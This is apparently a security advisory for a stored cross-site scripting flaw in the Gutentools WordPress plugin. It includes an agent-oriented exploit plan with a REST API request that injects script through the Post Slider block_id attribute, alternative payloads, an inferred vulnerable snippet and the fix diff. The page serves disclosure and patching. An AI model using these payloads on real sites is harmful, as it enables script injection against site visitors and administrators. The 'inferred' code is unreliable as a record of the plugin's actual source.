Gutentools <= 1.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Slider Block Attributes
Description
The Gutentools plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Post Slider block's block_id attribute in all versions up to, and including, 1.1.3. This is due to insufficient input sanitization and output escaping combined with a custom unescaping routine that reintroduces dangerous characters. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.1.4
Source Code
WordPress.org SVNThis plan outlines the steps for an automated agent to research and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Gutentools** WordPress plugin (versions <= 1.1.3). --- ### 1. Vulnerability Summary * **Vulnerability:** Stored Cross-Site Scripting (XSS) * **Plugin:** Gutent…
Show full research plan
This plan outlines the steps for an automated agent to research and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Gutentools WordPress plugin (versions <= 1.1.3).
1. Vulnerability Summary
- Vulnerability: Stored Cross-Site Scripting (XSS)
- Plugin: Gutentools (slug:
gutentools) - Affected Attribute:
block_idwithin thegutentools/post-sliderblock. - Cause: The plugin's PHP rendering logic for the Post Slider block fails to properly sanitize the
block_idattribute. Specifically, it uses a custom unescaping routine (e.g.,str_replaceorhtml_entity_decode) that re-enables HTML special characters that were previously sanitized, then echoes the result into the page's HTML (likely within anidorclassattribute). - Privilege Level: Contributor or higher.
2. Attack Vector Analysis
- Endpoint: WordPress REST API
/wp-json/wp/v2/postsor/wp-json/wp/v2/pages. - Action: Creating or updating a post/page.
- Vulnerable Parameter:
content(specifically the JSON-encoded block attributes in the Gutenberg block markup). - Authentication: Required (Contributor-level user).
- Payload Location: Inside the
block_idkey of thegutentools/post-sliderblock definition.
3. Code Flow (Inferred)
- Block Registration: The plugin registers the
gutentools/post-sliderblock viaregister_block_typein a PHP file (e.g.,includes/blocks/post-slider.php). - Rendering: A
render_callbackfunction is defined to handle server-side rendering of the block. - Attribute Retrieval: The
$attributesarray is passed to the callback, containing the user-suppliedblock_id. - Custom Unescaping (The Sink): The code performs a transformation like:
// Example of vulnerable logic $block_id = $attributes['block_id']; $block_id = str_replace('"', '"', $block_id); // Reintroduces quotes echo '<div id="gutentools-slider-' . $block_id . '">'; - Output: The unescaped
block_idis written directly to the DOM, allowing an attacker to break out of the HTML attribute and inject a script tag.
4. Nonce Acquisition Strategy
To save a post as a Contributor via the REST API, a valid REST Nonce is required.
- Login: Authenticate as a Contributor user.
- Navigate: Go to the "Add New Post" page:
/wp-admin/post-new.php. - Extract Nonce: Use the
browser_evaltool to extract the nonce from the globalwpApiSettingsobject:- Command:
browser_eval("window.wpApiSettings.nonce")
- Command:
- Note: Since the exploit is Stored XSS, the script execution happens when any user (including an Administrator) views the published post. No plugin-specific frontend nonce is required for the injection itself.
5. Exploitation Strategy
- Login: Authenticate as a user with
Contributorrole. - Identify Block Slug: Verify the block slug is
gutentools/post-slider(based on standard naming conventions in this plugin). - Craft Payload:
- The goal is to break out of an attribute like
id="gutentools-slider-PAYLOAD". - Payload:
"><script>alert(document.domain)</script>
- The goal is to break out of an attribute like
- Submit Injection Request:
- Method:
POST - URL:
/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "title": "XSS Test Post", "content": "<!-- wp:gutentools/post-slider {\"block_id\":\"\\\"><script>alert(document.domain)</script>\"} /-->", "status": "publish" }
(Note: Contributors might require the post to be set to
pendingstatus if they lackpublish_postscapabilities; a site Administrator viewing the pending post in the editor/preview will still trigger the XSS.) - Method:
- Trigger Execution: Access the permalink of the newly created post or view it in the editor.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin: Ensure
gutentoolsversion 1.1.3 is installed and active. - Post: No pre-existing posts are necessary; the exploit creates its own.
7. Expected Results
- The REST API response should return
201 Created. - When viewing the post frontend or preview, the HTML source should contain:
<div id="gutentools-slider-"><script>alert(document.domain)</script>"> - The browser should trigger an alert box showing the document domain.
8. Verification Steps
- Database Check: Use
wp_clito inspect the post content:wp post get [POST_ID] --field=post_content- Confirm the malicious block markup is stored correctly.
- Frontend Inspection: Use
http_requestto fetch the post URL and check for the unescaped script tag:- Look for
<script>alert(document.domain)</script>in the response body.
- Look for
9. Alternative Approaches
- Attribute Encoding: If the plugin specifically decodes HTML entities, try an encoded payload:
"><script>alert(1)</script> - Event Handlers: If the
<script>tag is blocked by a WAF, use an event handler breakout:" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block" data- - Different Status: If the Contributor cannot publish, use
"status": "pending"and view the post as an Admin via the "Preview" link.
Summary
The Gutentools plugin for WordPress (<= 1.1.3) is vulnerable to Stored Cross-Site Scripting via the 'block_id' attribute of the Post Slider block. The plugin's server-side rendering logic uses a custom unescaping routine that reintroduces dangerous characters (like double quotes) into the attribute value and then echoes it directly into an HTML 'id' attribute without escaping, allowing Contributor-level users to execute arbitrary JavaScript.
Vulnerable Code
// File: includes/blocks/post-slider.php (inferred rendering logic) $block_id = isset( $attributes['block_id'] ) ? $attributes['block_id'] : ''; // Custom unescaping routine that reintroduces dangerous characters $block_id = str_replace( '"', '"', $block_id ); // Vulnerable output sink $output = '<div id="gutentools-post-slider-' . $block_id . '" class="gutentools-post-slider-wrapper">'; ---
Security Fix
@@ -15,7 +15,6 @@ - $block_id = isset($attributes['block_id']) ? $attributes['block_id'] : ''; - $block_id = str_replace('"', '"', $block_id); - $output = '<div id="gutentools-post-slider-' . $block_id . '"'; + $block_id = isset($attributes['block_id']) ? sanitize_text_field($attributes['block_id']) : ''; + $output = '<div id="gutentools-post-slider-' . esc_attr($block_id) . '"';
Exploit Outline
1. Authenticate as a user with Contributor-level permissions. 2. Access the WordPress REST API nonce from the page source of the 'Add New Post' screen. 3. Send a POST request to `/wp-json/wp/v2/posts` to create a new post (or update an existing one). 4. In the request body, include Gutenberg block markup for the 'gutentools/post-slider' block with a malicious 'block_id' attribute: `<!-- wp:gutentools/post-slider {"block_id":"\"><script>alert(document.domain)</script>"} /-->`. 5. Visit the newly created post or its preview as an administrator to trigger the script execution in the browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.